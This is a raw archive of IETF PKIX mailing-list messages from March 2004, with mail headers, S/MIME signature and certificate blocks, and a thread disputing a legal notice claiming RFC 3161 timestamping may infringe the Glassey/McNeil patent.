WpGTwiowZ7/jXOFNtuXCNa27pUJcdcIDSQ4czgFWH8l5ZI/2jwIDAQABo4IBljCCAZIwTwYDVR0R
BEgwRqApBgorBgEEAYI3FAIDoBsMGXNha3UudmFpbmlrYWluZW5AZWxpc2EuZmmBGXNha3UudmFp
bmlrYWluZW5AZWxpc2EuZmkwHQYDVR0lBBYwFAYIKwYBBQUHAwQGCCsGAQUFCAICMBMGA1UdIwQM
MAqACEMIMpWTJa2iMBgGA1UdIAQRMA8wDQYLKoF2ghUBCwEBBAIwgacGA1UdHwSBnzCBnDCBmaCB
lqCBk4aBkGxkYXA6Ly9sZGFwLmVsaXNhLnBraS5rb2x1bWJ1cy5maTozODkvY249RUMgRWxpc2Eg
SW50ZXJuZXQgT3kgUGVvcGxlIENBLG91PWNlcnRzLG91PWNlcnRtYW4sbz1zZXJ2aWNlcyxkYz1l
bGlzYT9jZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0O2JpbmFyeTARBgNVHQ4ECgQIRHRHdi++ga0w
DgYDVR0PAQH/BAQDAgQwMBkGBiqFcCICAQQPEw0xMDEwMDA0MDA0MDMwMAkGA1UdEwQCMAAwDQYJ
KoZIhvcNAQEFBQADggEBAF8qzz9AjWTqQh/5FmsVMWiezIkvmq769QtUqLLEqr7jP5rq297bGZH/
EozHAXaDUZLOW2EcoQON2V7KwnT9m1Sqw//1kRv+QUtjvkKFAIJE/2lmyQvCi2gbi1Iyp7GZmq8d
ilXVXzJdAJyjaMNz3B2pdW92GtvbccqqDtct/KOpEwDpHCgbdw972g4WwTug+z7s4oEinEepaqHk
zC7ZFfUeJ+IuHQl8fSsD6XQXoNhsuXAKzsEX+s/KHeup52pPK9WdCzrLHjMhXPW5QBgPx/pTNp/P
Ieblgpj8rCBZn1s1KEM1r+5Rqaq6wxIP/jjuxcigyM4YfwQQnxsHdGvPlSowggSMMIIDdKADAgEC
AgJO/jANBgkqhkiG9w0BAQUFADBSMQswCQYDVQQGEwJGSTEaMBgGA1UEChQRRWxpc2EgSW50ZXJu
ZXQgT3kxJzAlBgNVBAMUHkVDIEVsaXNhIEludGVybmV0IE95IFBlb3BsZSBDQTAeFw0wMzA1MjAw
NzEzMTlaFw0wNjA1MjAwNzEzMTlaMIGTMQswCQYDVQQGEwJGSTEaMBgGA1UEChQRRWxpc2EgSW50
ZXJuZXQgT3kxLTArBgNVBAMUJFZhaW5pa2FpbmVuIFNha3UgTyBFbGlzYSBJbnRlcm5ldCBPeTE5
MAgGA1UEKxQBTzALBgNVBCoUBFNha3UwDAYDVQQFEwUxOTYzNTASBgNVBAQUC1ZhaW5pa2FpbmVu
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDlQOhMqFtI8KMLI6a5uARn52gPtTMPxQGgdqpO
r6PnUOGQPDMwkzxZsnlPhr2caQ5etGiiJqrO5psU36DtPNXF4EMUrd0s9lNCyBsrwol2sDjcg8IG
RQtLIZLhVSyOAC4l0KOZyBICO0AS5MIHacmjU+k+KFEOksO3+W8NTia2+QIDAQABo4IBrDCCAagw
TwYDVR0RBEgwRqApBgorBgEEAYI3FAIDoBsMGXNha3UudmFpbmlrYWluZW5AZWxpc2EuZmmBGXNh
a3UudmFpbmlrYWluZW5AZWxpc2EuZmkwMwYDVR0lBCwwKgYIKwYBBQUHAwIGCCsGAQUFBwMEBggr
BgEFBQgCAgYKKwYBBAGCNxQCAjATBgNVHSMEDDAKgAhDCDKVkyWtojAYBgNVHSAEETAPMA0GCyqB
doIVAQsBAQQBMIGnBgNVHR8EgZ8wgZwwgZmggZaggZOGgZBsZGFwOi8vbGRhcC5lbGlzYS5wa2ku
a29sdW1idXMuZmk6Mzg5L2NuPUVDIEVsaXNhIEludGVybmV0IE95IFBlb3BsZSBDQSxvdT1jZXJ0
cyxvdT1jZXJ0bWFuLG89c2VydmljZXMsZGM9ZWxpc2E/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlz
dDtiaW5hcnkwEQYDVR0OBAoECE740dZXtxx5MA4GA1UdDwEB/wQEAwIFoDAZBgYqhXAiAgEEDxMN
MTAxMDAwNDAwNDAzMDAJBgNVHRMEAjAAMA0GCSqGSIb3DQEBBQUAA4IBAQBfmQ19pmGPTLFW94ps
blMjTcoFn6J9YlZ/Xc3uBimWVLeLLpiAvVm+K6Abeeg+d+2y9SKTooSlJBhv8Hwkm48pu7R0lRl+
+ujVy8JEMyI2ULSL2KRNL/mYY92ZK/uPzpdqEPraDBqOH/2UO8KHNcUoMUVJVkeR1hNGUttbgJfz
5kqZQ+quDmbuuV0HtsHKWQzRV7+lZDyGbGD3a4GmIIfO2kXbjzB/69OXyTxarDIVrh0zED0ynIa6
MpHbd9G+iiG1Pkdv/6gKzIqISNtRd3CXP/GH/U3RfFvQdbrcJuPd6YSxnCZRVMFNT3G2Yn7Chjo3
lZR3WlbI2qDKaC2YBZt8MYICnDCCApgCAQEwWDBSMQswCQYDVQQGEwJGSTEaMBgGA1UEChQRRWxp
c2EgSW50ZXJuZXQgT3kxJzAlBgNVBAMUHkVDIEVsaXNhIEludGVybmV0IE95IFBlb3BsZSBDQQIC
Tv4wCQYFKw4DAhoFAKCCAZowGAYJKoZIhvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUx
DxcNMDQwMzI2MDA1MTM3WjAjBgkqhkiG9w0BCQQxFgQUULSbVDjqE7owhZPR0+dZjZSNuA8wZwYJ
KoZIhvcNAQkPMVowWDAKBggqhkiG9w0DBzAHBgUrDgMCGjAOBggqhkiG9w0DAgICAIAwDQYIKoZI
hvcNAwICAUAwBwYFKw4DAgcwDQYIKoZIhvcNAwICASgwCgYIKoZIhvcNAgUwZwYJKwYBBAGCNxAE
MVowWDBSMQswCQYDVQQGEwJGSTEaMBgGA1UEChQRRWxpc2EgSW50ZXJuZXQgT3kxJzAlBgNVBAMU
HkVDIEVsaXNhIEludGVybmV0IE95IFBlb3BsZSBDQQICTwAwaQYLKoZIhvcNAQkQAgsxWqBYMFIx
CzAJBgNVBAYTAkZJMRowGAYDVQQKFBFFbGlzYSBJbnRlcm5ldCBPeTEnMCUGA1UEAxQeRUMgRWxp
c2EgSW50ZXJuZXQgT3kgUGVvcGxlIENBAgJPADANBgkqhkiG9w0BAQEFAASBgKRBHJ9gsP8+rYpB
NZDR23yF12EYicKYOjtgJAVSK1/j/Zxp6DIBXfvNUPp7WeqixI5NtCGxAIECWex9jOgZeuBEgZhp
6DVqofEoKzDJ0LWArpFRYza0jxxj8OpUeiSa6f44TA6Nk2xdqMKbbzVTGd9vxzEXccksr1s3ZeIf
zZgRAAAAAAAA

------=_NextPart_000_0065_01C412DD.4212D7A0--



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2Q0cuYr083243; Thu, 25 Mar 2004 16:38:56 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2Q0cuQI083237; Thu, 25 Mar 2004 16:38:56 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from pigeon.verisign.com (pigeon.verisign.com [65.205.251.71]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2Q0csV0083187 for <[e-mail]>; Thu, 25 Mar 2004 16:38:54 -0800 (PST) (envelope-from [e-mail])
Received: from mou1wnexc01.vcorp.ad.vrsn.com (verisign.com [65.205.251.53]) by pigeon.verisign.com (8.12.11/) with ESMTP id i2Q0ctKo018000; Thu, 25 Mar 2004 16:38:55 -0800 (PST)
Received: by mou1wnexc01.vcorp.ad.vrsn.com with Internet Mail Service (5.5.2657.72) id <G5FJMHPR>; Thu, 25 Mar 2004 16:39:05 -0800
Message-ID: <[e-mail]>
From: "Hallam-Baker, Phillip" <[e-mail]>
To: "'todd glassey'" <[e-mail]>, [e-mail], [e-mail]
Subject: RE: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
Date: Thu, 25 Mar 2004 16:39:01 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: text/plain; charset="iso-8859-1"
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Could some remind us which of the claims in Habber/Stornetta were
invalidated during the Entrust lawsuit?

> -----Original Message-----
> From: [e-mail]
> [mailto:[e-mail]]On Behalf Of todd glassey
> Sent: Thursday, March 25, 2004 4:29 PM
> To: [e-mail]; [e-mail]
> Subject: Legal Notice on RFC3161 Uses and their possible infringement
> against Glassey/Mcneil Patents(et al).
> 
> 
> 
> Lets talk about legal stuff for a minute... and I don't 
> really need anyone
> to respond to this unless they want to do so with my lawyers.
> 
> ---------------------------------------------------
> 
> Be advised that I am claiming there is an unauthorized 
> identified use of
> RFC3161 that appears to violate parts of the Glassey/McNeil 
> Timestamping
> patent ("Controlling Access to Stored Information" - US 6370629 and EP
> 0997808, et al).  As such, I am formally putting the 
> IETF/IESG on notice
> thereof.
> 
> Further, these same uses may also violate any number of other 
> "Receipt"
> patents issued (including, but not limited to, the original 
> Fisher and Haber
> patents; those of others in the Time Management and in the XML
> Receipt Business), as well as other patents still in the works.
> 
> In light of this notification, please be aware that it is the 
> responsibility
> of the developers to do proper diligence prior to releasing 
> commercial or
> free services using RFC3161 as its base.
> 
> Be advised that we are currently very concerned. If any such RFC3161
> application is used for evidentiary purposes or if it is used 
> to enable
> control of any access to any data, or data in any record structure,
> such use may be in violation of these globally issued patents.
> 
> Obviously, in instances where such violation is evident, we 
> will take swift
> legal steps to protect our patent(s) while preventing any further
> unauthorized use. This would include any violations and 
> damages resulting
> from all those responsible, even National Governments using 
> RFC3161 for
> commercial and audit purposes (including the EU and its 
> member States).
> 
> Please feel free to have the IETF's or IESG's or any other appropriate
> attorney (or Developers wishing to avoid the legal complications of an
> authorized use) contact me regarding this matter for my point 
> of service so
> appropriate licensing can be arranged to protect these 
> patents against such
> infringement involving those Developer's Application Systems .
> 
> Todd Glassey
> Patent Rights Owner and Inventor -US 6370629
> 



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2Q0cSPr082818; Thu, 25 Mar 2004 16:38:28 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2Q0cSNP082817; Thu, 25 Mar 2004 16:38:28 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from smtp22.kolumbus.fi (smtp22.kolumbus.fi [193.229.0.82]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2Q0cQWo082807 for <[e-mail]>; Thu, 25 Mar 2004 16:38:27 -0800 (PST) (envelope-from [e-mail])
Received: from dom1-cn2-hki.dom1.epnet (dom1-cn2-hki.dom1.epnet [172.21.176.74]) by smtp22.kolumbus.fi (8.12.10/8.12.4) with ESMTP id i2Q0ZDGK002543; Fri, 26 Mar 2004 02:35:13 +0200 (EET)
Received: from dom1-mb1-hki.dom1.epnet ([172.21.176.65]) by dom1-cn2-hki.dom1.epnet with Microsoft SMTPSVC(5.0.2195.6713); Fri, 26 Mar 2004 02:38:03 +0200
Content-class: urn:content-classes:message
Subject: RE: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
MIME-Version: 1.0
Date: Fri, 26 Mar 2004 02:38:03 +0200
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=SHA1; boundary="----=_NextPart_000_0041_01C412DB.57698F10"
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
Message-ID: <[e-mail]>
X-MS-Has-Attach: yes
X-MS-TNEF-Correlator: 
Thread-Topic: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
Thread-Index: AcQSwae+Xw4ZHDM/SkGZkVj67h7NwgAB+hhg
From: "Vainikainen Saku EINT" <[e-mail]>
To: "Stephen Kent" <[e-mail]>, <[e-mail]>
X-OriginalArrivalTime: 26 Mar 2004 00:38:03.0871 (UTC) FILETIME=[9959CEF0:01C412CA]
X-MailScanner-Information: Please contact the service provider for more information
X-MailScanner: Found to be clean
X-MailScanner-MCPCheck: 
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

This is a multi-part message in MIME format.

------=_NextPart_000_0041_01C412DB.57698F10
Content-Type: multipart/mixed;
	boundary="----=_NextPart_001_0042_01C412DB.57698F10"


------=_NextPart_001_0042_01C412DB.57698F10
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit


Hello all!

Here's some more details on the patent:

http://swpat.ffii.org/pikta/txt/ep/0997/808/

Rgrds,
Saku Vainikainen
PKI Specialist

Elisa Corporation
Products / Identity Management
FINLAND



> -----Original Message-----
> From: [e-mail] 
> [mailto:[e-mail]] On Behalf Of Stephen Kent
> Sent: Friday, March 26, 2004 12:21 AM
> To: [e-mail]
> Subject: Re: Legal Notice on RFC3161 Uses and their possible 
> infringement against Glassey/Mcneil Patents(et al).
> 
> Folks,
> 
> Attached is the abstract for Todd's latest patent in this 
> area, which he alluded to in his posting to this list.
> 
> Since RFC 3161 makes no mention of using time stamp info for 
> access control, the likelihood of this RFC infringing seems 
> questionable to me, but that, of course is not a legal opinion.
> 
> If Todd wanted to follow established IETF procedure, as per 
> RFC 2606 he should have sent this message to 
> [e-mail]. In fact Todd did post such a message for 
> his previous IPR assertions in this general area, but maybe 
> he didn't feel that such posting had sufficient dramatic effect.
> 
> Steve
> -------
> 
> 
> 
> Controlling access to stored information based on 
> geographical location and  date and time
> 
> Abstract
> 
> Access to stored information by a user is controlled by 
> comparing an actual  geographic position and/or an actual 
> date/time with a geographic region  and/or a date/time 
> interval within which access to the stored information  is 
> authorized. The actual geographic position where the stored 
> information  is located, and the actual date/time can be 
> determined, for example, based  on signals received at a 
> receiver supplying reliable position and time  information, 
> such as a GPS receiver. Access to the stored information is  
> authorized if the actual geographic position and/or date/time 
> falls within  the authorized geographic region and/or 
> date/time interval. The position  and date/time information 
> supplied by the receiver may be  cryptographically signed and 
> encrypted.
> 

------=_NextPart_001_0042_01C412DB.57698F10
Content-Type: text/x-vcard;
	name="Vainikainen Saku EINT.vcf"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="Vainikainen Saku EINT.vcf"

BEGIN:VCARD
VERSION:2.1
N:Vainikainen;Saku
FN:Saku Vainikainen
ORG:Elisa Corporation;Products / Identity Management
TITLE:PKI Specialist
TEL;WORK;VOICE:[phone]
TEL;CELL;VOICE:[phone]
ADR;WORK:;S=D6 B 2100;PO BOX 200;ELISA;;00061;Finland
LABEL;WORK;ENCODING=3DQUOTED-PRINTABLE:S=3DD6 B 2100=3D0D=3D0APO BOX =
200=3D0D=3D0AELISA 00061=3D0D=3D0AFinland
URL;WORK:http://www.elisa.com
KEY;X509;ENCODING=3DBASE64:
    =
MIIEdjCCA16gAwIBAgICTwAwDQYJKoZIhvcNAQEFBQAwUjELMAkGA1UEBhMCRkkxGjAYBgNV
    =
BAoUEUVsaXNhIEludGVybmV0IE95MScwJQYDVQQDFB5FQyBFbGlzYSBJbnRlcm5ldCBPeSBQ
    =
ZW9wbGUgQ0EwHhcNMDMwNTIwMDcxMzIwWhcNMDYwNTIwMDcxMzIwWjCBkzELMAkGA1UEBhMC
    =
RkkxGjAYBgNVBAoUEUVsaXNhIEludGVybmV0IE95MS0wKwYDVQQDFCRWYWluaWthaW5lbiBT
    =
YWt1IE8gRWxpc2EgSW50ZXJuZXQgT3kxOTAIBgNVBCsUAU8wCwYDVQQqFARTYWt1MAwGA1UE
    =
BRMFMTk2MzUwEgYDVQQEFAtWYWluaWthaW5lbjCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkC
    =
gYEAy8g1zIGUjHEVx1pSkYooPVRsvSEbC22PdG8w03NFNg+C5mZUOR+XC3J6CH15ntZZ7D/D
    =
NV4U6VSZCrGnv8ffwVWfDT2N7QOJXwCUkF3cs44KUr/sxv5d+XgyolqRk8IqMGe/41zhTbbl
    =
wjWtu6VCXHXCA0kOHM4BVh/JeWSP9o8CAwEAAaOCAZYwggGSME8GA1UdEQRIMEagKQYKKwYB
    =
BAGCNxQCA6AbDBlzYWt1LnZhaW5pa2FpbmVuQGVsaXNhLmZpgRlzYWt1LnZhaW5pa2FpbmVu
    =
QGVsaXNhLmZpMB0GA1UdJQQWMBQGCCsGAQUFBwMEBggrBgEFBQgCAjATBgNVHSMEDDAKgAhD
    =
CDKVkyWtojAYBgNVHSAEETAPMA0GCyqBdoIVAQsBAQQCMIGnBgNVHR8EgZ8wgZwwgZmggZag
    =
gZOGgZBsZGFwOi8vbGRhcC5lbGlzYS5wa2kua29sdW1idXMuZmk6Mzg5L2NuPUVDIEVsaXNh
    =
IEludGVybmV0IE95IFBlb3BsZSBDQSxvdT1jZXJ0cyxvdT1jZXJ0bWFuLG89c2VydmljZXMs
    =
ZGM9ZWxpc2E/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdDtiaW5hcnkwEQYDVR0OBAoECER0
    =
R3YvvoGtMA4GA1UdDwEB/wQEAwIEMDAZBgYqhXAiAgEEDxMNMTAxMDAwNDAwNDAzMDAJBgNV
    =
HRMEAjAAMA0GCSqGSIb3DQEBBQUAA4IBAQBfKs8/QI1k6kIf+RZrFTFonsyJL5qu+vULVKiy
    =
xKq+4z+a6tve2xmR/xKMxwF2g1GSzlthHKEDjdleysJ0/ZtUqsP/9ZEb/kFLY75ChQCCRP9p
    =
ZskLwotoG4tSMqexmZqvHYpV1V8yXQCco2jDc9wdqXVvdhrb23HKqg7XLfyjqRMA6RwoG3cP
    =
e9oOFsE7oPs+7OKBIpxHqWqh5Mwu2RX1HifiLh0JfH0rA+l0F6DYbLlwCs7BF/rPyh3rqedq
    =
TyvVnQs6yx4zIVz1uUAYD8f6UzafzyHm5YKY/KwgWZ9bNShDNa/uUamqusMSD/447sXIoMjO
    GH8EEJ8bB3Rrz5Uq


EMAIL;PREF;INTERNET:[e-mail]
REV:20040121T122653Z
END:VCARD

------=_NextPart_001_0042_01C412DB.57698F10--

------=_NextPart_000_0041_01C412DB.57698F10
Content-Type: application/x-pkcs7-signature;
	name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="smime.p7s"

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
ue3guXbP3Ff311QFqkAoHuYNkDpZnXpiIIcOBFhQj8WuAeA2upM91iCrr/aeFWF+vsp5Qdc+D1hF
uM3GwyGdW52SAjjg7eDH4DSYYjWOqLrA4Q4ii5f6rw66T0aZzDEwggR2MIIDXqADAgECAgJPADAN
BgkqhkiG9w0BAQUFADBSMQswCQYDVQQGEwJGSTEaMBgGA1UEChQRRWxpc2EgSW50ZXJuZXQgT3kx
JzAlBgNVBAMUHkVDIEVsaXNhIEludGVybmV0IE95IFBlb3BsZSBDQTAeFw0wMzA1MjAwNzEzMjBa
Fw0wNjA1MjAwNzEzMjBaMIGTMQswCQYDVQQGEwJGSTEaMBgGA1UEChQRRWxpc2EgSW50ZXJuZXQg
T3kxLTArBgNVBAMUJFZhaW5pa2FpbmVuIFNha3UgTyBFbGlzYSBJbnRlcm5ldCBPeTE5MAgGA1UE
KxQBTzALBgNVBCoUBFNha3UwDAYDVQQFEwUxOTYzNTASBgNVBAQUC1ZhaW5pa2FpbmVuMIGfMA0G
CSqGSIb3DQEBAQUAA4GNADCBiQKBgQDLyDXMgZSMcRXHWlKRiig9VGy9IRsLbY90bzDTc0U2D4Lm
ZlQ5H5cLcnoIfXme1lnsP8M1XhTpVJkKsae/x9/BVZ8NPY3tA4lfAJSQXdyzjgpSv+zG/l35eDKi
WpGTwiowZ7/jXOFNtuXCNa27pUJcdcIDSQ4czgFWH8l5ZI/2jwIDAQABo4IBljCCAZIwTwYDVR0R
BEgwRqApBgorBgEEAYI3FAIDoBsMGXNha3UudmFpbmlrYWluZW5AZWxpc2EuZmmBGXNha3UudmFp
bmlrYWluZW5AZWxpc2EuZmkwHQYDVR0lBBYwFAYIKwYBBQUHAwQGCCsGAQUFCAICMBMGA1UdIwQM
MAqACEMIMpWTJa2iMBgGA1UdIAQRMA8wDQYLKoF2ghUBCwEBBAIwgacGA1UdHwSBnzCBnDCBmaCB
lqCBk4aBkGxkYXA6Ly9sZGFwLmVsaXNhLnBraS5rb2x1bWJ1cy5maTozODkvY249RUMgRWxpc2Eg
SW50ZXJuZXQgT3kgUGVvcGxlIENBLG91PWNlcnRzLG91PWNlcnRtYW4sbz1zZXJ2aWNlcyxkYz1l
bGlzYT9jZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0O2JpbmFyeTARBgNVHQ4ECgQIRHRHdi++ga0w
DgYDVR0PAQH/BAQDAgQwMBkGBiqFcCICAQQPEw0xMDEwMDA0MDA0MDMwMAkGA1UdEwQCMAAwDQYJ
KoZIhvcNAQEFBQADggEBAF8qzz9AjWTqQh/5FmsVMWiezIkvmq769QtUqLLEqr7jP5rq297bGZH/
EozHAXaDUZLOW2EcoQON2V7KwnT9m1Sqw//1kRv+QUtjvkKFAIJE/2lmyQvCi2gbi1Iyp7GZmq8d
ilXVXzJdAJyjaMNz3B2pdW92GtvbccqqDtct/KOpEwDpHCgbdw972g4WwTug+z7s4oEinEepaqHk
zC7ZFfUeJ+IuHQl8fSsD6XQXoNhsuXAKzsEX+s/KHeup52pPK9WdCzrLHjMhXPW5QBgPx/pTNp/P
Ieblgpj8rCBZn1s1KEM1r+5Rqaq6wxIP/jjuxcigyM4YfwQQnxsHdGvPlSowggSMMIIDdKADAgEC
AgJO/jANBgkqhkiG9w0BAQUFADBSMQswCQYDVQQGEwJGSTEaMBgGA1UEChQRRWxpc2EgSW50ZXJu
ZXQgT3kxJzAlBgNVBAMUHkVDIEVsaXNhIEludGVybmV0IE95IFBlb3BsZSBDQTAeFw0wMzA1MjAw
NzEzMTlaFw0wNjA1MjAwNzEzMTlaMIGTMQswCQYDVQQGEwJGSTEaMBgGA1UEChQRRWxpc2EgSW50
ZXJuZXQgT3kxLTArBgNVBAMUJFZhaW5pa2FpbmVuIFNha3UgTyBFbGlzYSBJbnRlcm5ldCBPeTE5
MAgGA1UEKxQBTzALBgNVBCoUBFNha3UwDAYDVQQFEwUxOTYzNTASBgNVBAQUC1ZhaW5pa2FpbmVu
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDlQOhMqFtI8KMLI6a5uARn52gPtTMPxQGgdqpO
r6PnUOGQPDMwkzxZsnlPhr2caQ5etGiiJqrO5psU36DtPNXF4EMUrd0s9lNCyBsrwol2sDjcg8IG
RQtLIZLhVSyOAC4l0KOZyBICO0AS5MIHacmjU+k+KFEOksO3+W8NTia2+QIDAQABo4IBrDCCAagw
TwYDVR0RBEgwRqApBgorBgEEAYI3FAIDoBsMGXNha3UudmFpbmlrYWluZW5AZWxpc2EuZmmBGXNh
a3UudmFpbmlrYWluZW5AZWxpc2EuZmkwMwYDVR0lBCwwKgYIKwYBBQUHAwIGCCsGAQUFBwMEBggr
BgEFBQgCAgYKKwYBBAGCNxQCAjATBgNVHSMEDDAKgAhDCDKVkyWtojAYBgNVHSAEETAPMA0GCyqB
doIVAQsBAQQBMIGnBgNVHR8EgZ8wgZwwgZmggZaggZOGgZBsZGFwOi8vbGRhcC5lbGlzYS5wa2ku
a29sdW1idXMuZmk6Mzg5L2NuPUVDIEVsaXNhIEludGVybmV0IE95IFBlb3BsZSBDQSxvdT1jZXJ0
cyxvdT1jZXJ0bWFuLG89c2VydmljZXMsZGM9ZWxpc2E/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlz
dDtiaW5hcnkwEQYDVR0OBAoECE740dZXtxx5MA4GA1UdDwEB/wQEAwIFoDAZBgYqhXAiAgEEDxMN
MTAxMDAwNDAwNDAzMDAJBgNVHRMEAjAAMA0GCSqGSIb3DQEBBQUAA4IBAQBfmQ19pmGPTLFW94ps
blMjTcoFn6J9YlZ/Xc3uBimWVLeLLpiAvVm+K6Abeeg+d+2y9SKTooSlJBhv8Hwkm48pu7R0lRl+
+ujVy8JEMyI2ULSL2KRNL/mYY92ZK/uPzpdqEPraDBqOH/2UO8KHNcUoMUVJVkeR1hNGUttbgJfz
5kqZQ+quDmbuuV0HtsHKWQzRV7+lZDyGbGD3a4GmIIfO2kXbjzB/69OXyTxarDIVrh0zED0ynIa6
MpHbd9G+iiG1Pkdv/6gKzIqISNtRd3CXP/GH/U3RfFvQdbrcJuPd6YSxnCZRVMFNT3G2Yn7Chjo3
lZR3WlbI2qDKaC2YBZt8MYICnDCCApgCAQEwWDBSMQswCQYDVQQGEwJGSTEaMBgGA1UEChQRRWxp
